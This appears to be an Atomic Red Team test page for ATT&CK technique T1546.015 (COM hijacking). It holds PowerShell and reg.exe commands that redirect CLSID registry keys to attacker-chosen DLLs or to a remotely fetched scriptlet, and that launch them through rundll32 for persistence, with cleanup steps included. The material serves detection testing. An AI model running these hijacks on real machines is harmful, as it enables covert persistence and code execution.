T1546.015
Event Triggered Execution: Component Object Model Hijacking
Description from ATT&CK
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.
Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Atomic Tests
Atomic Test #1 - COM Hijacking - InprocServer32
This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.
Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
Supported Platforms: windows
auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| clsid_threading | Threading Model | string | Apartment |
| dllpath | Path to the DLL. | string | PathToAtomicsFolder..\ExternalPayloads\AtomicTest.dll |
| clsid | Class ID to hijack. | string | {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7} |
| clsid_description | Description for CLSID | string | MSAA AccPropServices |
Attack Commands: Run with powershell!
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New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
Cleanup Commands:
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Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore
Dependencies: Run with powershell!
Description: DLL For testing Check Prereq Commands:
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if (Test-Path "#{dllpath}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll" -OutFile "#{dllpath}"
Atomic Test #2 - Powershell Execute COM Object
Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
Supported Platforms: windows
auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb
Inputs:
None
Attack Commands: Run with powershell!
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$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
$item = $o.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
Cleanup Commands:
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Get-Process -Name "*calc" | Stop-Process
Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)
This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/ Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.
Supported Platforms: windows
auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| clsid_threading | Threading Model | string | Both |
| dll_path | Path to the DLL. | string | PathToAtomicsFolder..\ExternalPayloads\T1546.015_calc.dll |
| clsid | Class ID to hijack. | string | {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7} |
| clsid_description | Description for CLSID | string | MSAA AccPropServices |
Attack Commands: Run with powershell!
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New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'
Cleanup Commands:
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Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Recurse -ErrorAction Ignore
Dependencies: Run with powershell!
Description: DLL For testing Check Prereq Commands:
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if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll" -OutFile "#{dll_path}"
Atomic Test #4 - COM hijacking via TreatAs
This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute. Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out.
References:
https://youtu.be/3gz1QmiMhss?t=1251
https://github.com/enigma0x3/windows-operating-system-archaeology
Supported Platforms: windows
auto_generated_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9
Inputs:
None
Attack Commands: Run with powershell!
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reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.dll" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /T REG_SZ /d "Apartment" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /T REG_SZ /d "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
rundll32.exe -sta "AtomicTest"
Cleanup Commands:
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reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg delete "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f